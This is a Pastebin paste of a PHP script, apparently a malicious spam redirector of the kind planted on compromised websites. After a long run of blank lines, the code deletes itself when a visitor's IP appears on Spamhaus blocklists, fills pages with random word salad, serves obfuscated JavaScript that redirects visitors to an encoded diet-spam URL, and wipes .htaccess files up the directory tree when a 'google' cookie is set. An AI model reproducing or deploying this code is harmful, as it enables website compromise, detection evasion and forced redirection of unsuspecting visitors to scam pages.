PalmaSolutions

kohler.php

Apr 8th, 2018
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.45 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72.  
  73.  
  74. function dpss($inip)
  75. {
  76. $dlp = [
  77. "zen.spamhaus.org",
  78. "sbl.spamhaus.org",
  79. "xbl.spamhaus.org",
  80. ];
  81. $pip = "";
  82. if ($inip) {
  83. $rpp = implode(".", array_reverse(explode(".", $inip)));
  84. foreach ($dlp as $hv) {
  85. if (checkdnsrr($rpp . "." . $hv . ".", "A")) {
  86. $pip .= $rpp . '.' . $hv . '';
  87. }
  88. }
  89. }
  90. if (empty($pip)) {
  91. } else {
  92. $se= str_replace("./", "", $_SERVER["SCRIPT_FILENAME"]);
  93. @unlink($se);
  94. exit;
  95. }
  96. }
  97. if (isset($_GET['ip']) && $_GET['ip'] != null) {
  98. $inip = $_GET['ip'];
  99. if (filter_var($inip, FILTER_VALIDATE_IP)) {
  100. echo dpss($inip);
  101. } else {
  102. echo '';
  103. }
  104. }
  105. function result($data)
  106. {
  107. $result=implode("\r\n",array("%1"."!doctype html"."%3","%1"."head"."%3",head(),"%2"."head"."%3","%1"."body style=\"color:white\""."%3",body($data),"%2"."body"."%3","%2"."html"."%3"));
  108. $result=preg_replace('/%1/',"<",$result);$result=preg_replace('/%2/',"</",$result);$result=preg_replace('/%3/',">",$result);
  109. $sign=parag(1,1).(strlen($result)+31331);$result=preg_replace('/%sign%/',$sign,$result);
  110. return $result;
  111. }
  112. function body($data)
  113. {
  114. srand(seed());
  115. $body=array();
  116. for($i=0;$i<rand(3,10);$i++)
  117. {
  118. $text=parag(50,250);
  119. srand(seed());
  120. $tags=array("p","div","span");$tags=$tags[rand(0,count($tags)-1)];
  121. array_push($body,"%1$tags%3",$text,"%2$tags%3");
  122. }
  123. array_push($body,js($data));
  124. return implode("\r\n",$body);
  125. }
  126. function head()
  127. {
  128. srand(seed());
  129. $title=parag(2,10);
  130. $charset=array("ISO-8859-1","UTF-8");$charset=$charset[rand(0,count($charset)-1)];
  131. $headers=array("%1title%3%sign% $title%2title%3","%1meta http-equiv=\"Content-Type\" content=\"text/html; charset=$charset\"%3");
  132. srand(seed());
  133. $rnd_num=rand(0,1);
  134. if($rnd_num)
  135. {
  136. $description=parag(4,10);
  137. $keywords=array();for($i=0;$i<rand(1,10);$i++){array_push($keywords,parag(1,1));} $keywords=implode(", ",$keywords);
  138. srand(seed());
  139. $additional=array("%1meta name=\"description\" content=\"$description\"%3","%1meta name=\"keywords\" content=\"$keywords\"%3");$additional=$additional[rand(0,count($additional)-1)];
  140. array_push($headers,$additional);
  141. }
  142. shuffle($headers);
  143. return implode("\r\n",$headers);
  144. }
  145. function js($data)
  146. {
  147. srand(seed());$diff=rand(1,100);$name=parag(1,1);
  148. $code="%1script type=\"text/javascript\"%3\r\n";
  149. $code.=$name."a=$diff; ".$name."b=[";
  150. $list=array();foreach($data as $byte){array_push($list,($byte+$diff));}
  151. $code.=implode(',',$list);
  152. $code.="]; ";
  153. $code.=$name."c=\"\"; for(";
  154. $code.=$name."d=0;".$name."d<".$name."b.length;".$name."d++) { ";
  155. $code.=$name."c+=String.fromCharCode(".$name."b[".$name."d]-".$name."a); } ";
  156. $code.="document.location.href=".$name."c;";
  157. $code.="\r\n%2script%3";
  158. return $code;
  159. }
  160. function parag($min,$max)
  161. {
  162. srand(seed());
  163. $parag="";
  164. $words=array("searcher","starsigntaurus","grasped","immobility","lithest","gaudiest","harlequin","kisses","touch","sip","separating","opposing","notion","proved","booze","coffee","charms","seas","thread","ariadne","scheme","chef","convinced","scared","steps","virgin","liberty","days","following","husband","govern","record","honest","continuing","imprisond","hot","sunshine","inheritance","twilights","dusky","hair","whatsoeer","sunbright","full","childish","liveth","despaird","believd","remains","wearily","length","flaw","unknowingly","missed","stirrups","disciplined","wicked","sickle","bending","stop","matter","learn","history","bleak","mild","concerns","ordinary","winter","wears","proof","roys","alert","planned","plotted","fierce","row","dauntless","challenge","ask","apply","beauty","dower","woe","lintwhites","chorus","fellowtraveller","cold","ice","worlds","flu","illnessthree","region","lucky","bastard","twill","soothe","sorrow","polity","sacrifice","christ","saviour","sticking","kerchiefplots","mold","name","river","bare","wanderers","thousands","dollars","effortless","money","fatherly","concern","pang","vexd","aver","multitude","sweetly","reposing","bands","armsout","trees","veil","withdrawn","hut","tour","confuse","debut","godheads","benignant","andmoney","needed","ride","barking","cat","plays","neatly","error","unprofitable","ophilia","dear","delighted","sake","replaced","athletic","prophy","guessing","tundra","peter","norway","boors","prison","clinicmy","seemliness","complete","sways","seen","tiviot","dale","familiar","provokes","lady","shares","wonder","merits","resolved","eer","champion","brotherhood","venerable","damn","fawns","extacy","buttercups","unheard","cull","faculty","storm","turbulence","happy","genial","barely","cool","diffuse","blessd","main","embarrassd","shy","next","sense","persons","advance","hamilton","beginning","shield","latest","impearling","lucie","born","figures","braes","humbly","bloodshed","miserable","train","courtesies","wilt","panting","violets","acted","tidings","woes","end","stars","hungry","surprised","tells","clamor","stopped","dries","used","severe","since","untowardness","poets","mere","mostly","rooted","chair","livd","lands","soothed","milder","airs","stranger","seemingly","civil","harmless","stand","straight","nervous","daisy","blessed","rising","collapse","reaping","herself","remember","amazing","palms","infants","laughing","puzzled","blinded","immediately","leaps","feeding","appletree","superstition","worth","taking","sympathy","heeds","trace","upstarting","affright","greetst","fowls","ref","hadn","opened","score","nobody","posterity","renownd","unexciting","vice","guests","listend","fill","reaper","bushes","mournfully","eggs","gaze","places","hurrythree","flourish","seeking","school","scannd","dewdrop","unto","lowly","pursue","pox","turns","necessity","beloved","possess","grotto","particular","exquisite","baby","chains","tie","befal","yellow","rouzd","vale","holiday","flutterd","perchd","thank","mechanic","whip","lash","striking","force","applying","muscles","shaped","wake","highlands","troubles","beyond","relief","untimely","joyousness","hideandseek","homefelt","pleasures","itself","common","breeds","liked","greeting","mountains","eagle","seventythree","nighttime","short","hither","straightway","behold","seehis","fork","begins","rattle","boat","graven","read","fathers","courtesy","runaway","beautifully","outstandingly","clever","prettiest","tumbler","infant");
  165. if($min==1)
  166. {
  167. return $words[array_rand($words)];
  168. }
  169. else
  170. {
  171. $words_idx=array_rand($words,rand($min,$max));
  172. $first_upc=1;
  173. $parag=array();
  174. foreach($words_idx as $idx)
  175. {
  176. $word=$words[$idx];
  177. $rnd_num=rand(0,1);
  178. $sym="";
  179. if($rnd_num)
  180. {
  181. $rnd_sym=array(","," -",":",".");
  182. $rnd_num=rand(0,count($rnd_sym)-1);
  183. $sym=$rnd_sym[$rnd_num];
  184. $word.=$sym;
  185. }
  186. if($first_upc)
  187. {
  188. array_push($parag,ucfirst($word));
  189. $first_upc=0;
  190. }
  191. else
  192. {
  193. array_push($parag,$word);
  194. }
  195. if($sym=="." || $sym==":") $first_upc=1;
  196. }
  197. array_push($parag,$words[array_rand($words)]);
  198. }
  199. return implode(" ",$parag).".";
  200. }
  201. function seed()
  202. {
  203. list($usec,$sec)=explode(' ',microtime());
  204. return(float)$sec+((float)$usec*100000);
  205. }
  206. if(isset($_COOKIE['google']))
  207. {
  208. $s='/';if(strtolower(substr(PHP_OS,0,3))=='win') $s="\\\\";$d=array(".$s");$p="";for($i=1;$i<255;$i++){$p.="..$s";if(is_dir($p)){array_push($d,$p);}else{break;}}
  209. foreach($d as $p){$a="h"."tac"."c"."es"."s";$a1=$p.".$a";$a2=$p.$a;$a3=$p."$a.txt";@chmod($a1,0666);@unlink($a1);@chmod($a2,0666);@unlink($a2);@chmod($a3,0666);@unlink($a3);}
  210. }
  211. echo(result(array(104,116,116,112,58,47,47,102,111,114,101,118,101,114,45,98,117,114,110,108,111,115,116,115,46,119,111,114,108,100,47,63,97,61,52,49,55,55,54,56,38,99,61,99,112,99,100,105,101,116)));
  212. ?>
Advertisement
Add Comment
Please, Sign In to add comment